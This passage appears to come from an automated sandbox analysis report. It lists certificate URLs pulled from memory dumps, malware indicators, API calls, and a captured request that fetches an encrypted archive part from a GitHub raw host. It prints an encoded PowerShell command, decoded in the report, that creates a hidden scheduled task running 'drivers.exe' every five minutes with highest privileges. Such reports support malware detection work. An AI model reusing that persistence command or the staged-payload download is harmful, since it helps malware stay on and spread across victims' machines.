"00000000-00005396.00000001.175978.AD04D000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsnonic" - Source: "00000000-00005396.00000001.175978.AD04D000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005396.00000001.175978.AD4AD000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/crooceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@jq+j" - Source: "00000000-00005396.00000001.175978.AD59C000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005396.00000001.175978.AD59C000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00005396.00000001.175978.AD619000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00005396.00000001.175978.AD619000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00005396.00000001.175978.AD619000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00005396.00000001.175978.AD619000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005396.00000001.175978.AD619000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00005396.00000001.175978.AD619000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00005396.00000001.175978.AD619000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00005792.00000000.178161.03040000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005792.00000000.178161.03040000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005792.00000000.178161.03040000.00000004.mdmp") Found URL "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namead" - Source: "00000000-00005792.00000000.178161.05280000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcsqn?thawte," - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?ean" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lpl1" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?il" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lx&(^western" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,e" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>vl?=washington1redmond1microsoft" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>kyipckyipcv" - Source: "00000000-00005792.00000000.178161.076B0000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00005792.00000000.178161.72141000.00000020.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0^k*y-g&ui\l!" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcsqn?thawte," - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?ean" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lpl1" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?il" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwestern" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00005792.00000001.179055.076B0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005792.00000001.179055.076FE000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005792.00000001.179055.0773F000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0/r$u,ev$f9]mwyprg?j?" - Source: "00000000-00005792.00000001.179055.0773F000.00000004.mdmp") Found URL "https://go.microsoft.ck/?linkid=526726'," - Source: "00000000-00005792.00000001.179055.0773F000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt06" - Source: "00000000-00005792.00000001.179055.08A6F000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0(vyvhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0bipkyipkyip&$wl" - Source: "00000000-00005792.00000001.179055.08A6F000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00005792.00000001.179055.08A6F000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005792.00000001.179055.08A6F000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-jyqf;?0xdb7j[agysf0d1aoc1402+229879+719555cb-6de2-446c-acba-d90894acd8720m0k0ichttp://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-:f6ff-2da7-bb751%0" - Source: "00000000-00005792.00000001.179055.08AAF000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0!." - Source: "00000000-00005792.00000001.179055.08AAF000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005792.00000001.179055.08AAF000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt06" - Source: "00000000-00005792.00000001.179055.08AAF000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-" - Source: "00000000-00005792.00000001.179055.08AAF000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=113313uformatsystem.datetimeget-datemicrosoft.powershell.commands.getdatecommand," - Source: "00000000-00005792.00000001.179055.0AC70000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=113360system.timespannew-timespanmicrosoft.powershell.commands.newtimespancommand," - Source: "00000000-00005792.00000001.179055.0AC70000.00000004.mdmp") Found URL "http://msdn.microsoft.com/tracecodes/system/activitytracing/2004/07/diagnostics/appdomainunload" - Source: "00000000-00005792.00000001.179055.0AC70000.00000004.mdmp")55:T69a,Process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -Enc UgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBkAHIAaQB2AGUAcgBzAC4AZQB4AGUAJwAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAQwA6AFwAVQBzAGUAcgBzAFwASABBAFAAVQBCAFcAUwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAZAByAGkAdgBlAHIAcwAuAGUAeABlACcAKQAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAE8AbgBjAGUAIAAtAEEAdAAgACgARwBlAHQALQBEAGEAdABlACkAIAAtAFIAZQBwAGUAdABpAHQAaQBvAG4ASQBuAHQAZQByAHYAYQBsACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ATQBpAG4AdQB0AGUAcwAgADUAKQApACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQAgAC0AUgB1AG4ATABlAHYAZQBsACAASABpAGcAaABlAHMAdAAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAFMAZQBjAG8AbgBkAHMAIAAwACkAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACkAIAAtAEYAbwByAGMAZQA=" (UID: 00000000-00005792, Additional Context: "Register-ScheduledTask -TaskName 'drivers.exe' -Action (New-ScheduledTaskAction -Execute 'C:\Users\HAPUBWS\AppData\Roaming\drivers.exe') -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)) -User $env:UserName -RunLevel Highest -Settings (New-ScheduledTaskSettingsSet -ExecutionTimeLimit (New-TimeSpan -Seconds 0) -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -Force")56:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005396) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00005396) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005396) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00005396) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00005396) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00005396) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00005396) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00005396) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00005396) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00005396) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00005396) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00005396) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00005396) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00005396) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00005396) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00005396) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00005396) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00005396) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00005396) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00005396)57:T1a25,file/memory contains long string with (Indicator: "aes"; File: "s.cmd") file/memory contains long string with (Indicator: "base64"; File: "s.cmd") file/memory contains long string with (Indicator: "createdecryptor"; File: "s.cmd") file/memory contains long string with (Indicator: "cryptostream"; File: "s.cmd") file/memory contains long string with (Indicator: "cryptostreammode"; File: "s.cmd") file/memory contains long string with (Indicator: "FromBase64String"; File: "s.cmd") file/memory contains long string with (Indicator: "paddingmode.pkcs7"; File: "s.cmd") file/memory contains long string with (Indicator: "System.Security.Cryptography"; File: "s.cmd") file/memory contains long string with (Indicator: "zipfile"; File: "s.cmd") file/memory contains long string with (Indicator: "b64decode"; File: "run.py") file/memory contains long string with (Indicator: "base64"; File: "run.py") file/memory contains long string with (Indicator: "base64.b64decode"; File: "run.py") Found string "/tiiisiet65-sudo/LoioioNoaisK/main/macOSx.zip.aes.part1" (Indicator: "aes"; File: "PCAP") Found string "GET /tiiisiet65-sudo/LoioioNoaisK/main/macOSx.zip.aes.part1 HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive" (Indicator: "aes"; File: "PCAP") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; File: "00000000-00005792.00000000.178161.00EE1000.00000020.mdmp") Found string "FromBase64String" (Indicator: "base64"; Source: "00000000-00001352.00000000.176224.00B02000.00000002.mdmp") Found string "FromBase64String" (Indicator: "FromBase64String"; Source: "00000000-00001352.00000000.176224.00B02000.00000002.mdmp") Found string "System.Security.Cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001352.00000000.176224.00B02000.00000002.mdmp") Found string "CreateDecryptor" (Indicator: "createdecryptor"; Source: "00000000-00001352.00000000.176224.00B02000.00000002.mdmp") Found string "CryptoStream" (Indicator: "cryptostream"; Source: "00000000-00001352.00000000.176224.00B02000.00000002.mdmp") Found string "CryptoStreamMode" (Indicator: "cryptostream"; Source: "00000000-00001352.00000000.176224.00B02000.00000002.mdmp") Found string "CryptoStreamMode" (Indicator: "cryptostreammode"; Source: "00000000-00001352.00000000.176224.00B02000.00000002.mdmp") Found string "ZipFile" (Indicator: "zipfile"; Source: "00000000-00001352.00000000.176224.00B02000.00000002.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00001352.00000000.176224.03030000.00000004.mdmp, 00000000-00001352.00000000.176224.1FC80000.00000004.mdmp, 00000000-00001352.00000001.177223.03030000.00000004.mdmp, 00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found string "icrosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00001352.00000000.176224.03030000.00000004.mdmp, 00000000-00001352.00000001.177223.03030000.00000004.mdmp") Found string "??\c:\users\hapubws\appdata\local\temp\42017969502f4d86b1973acb1bf7d63b.aes" (Indicator: "aes"; Source: "00000000-00001352.00000000.176224.03030000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00001352.00000000.176224.03030000.00000004.mdmp, 00000000-00001352.00000000.176224.051F0000.00000004.mdmp, 00000000-00001352.00000000.176224.1FC80000.00000004.mdmp, 00000000-00001352.00000001.177223.03030000.00000004.mdmp, 00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found string "System.Security.Cryptography.RandomNumberGenerator" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found string "Uses RsaCryptoServiceProvider to encrypt and decrypt" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "aes"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "aescryptoserviceprovider"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found string "System.Security.Cryptography.RSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: 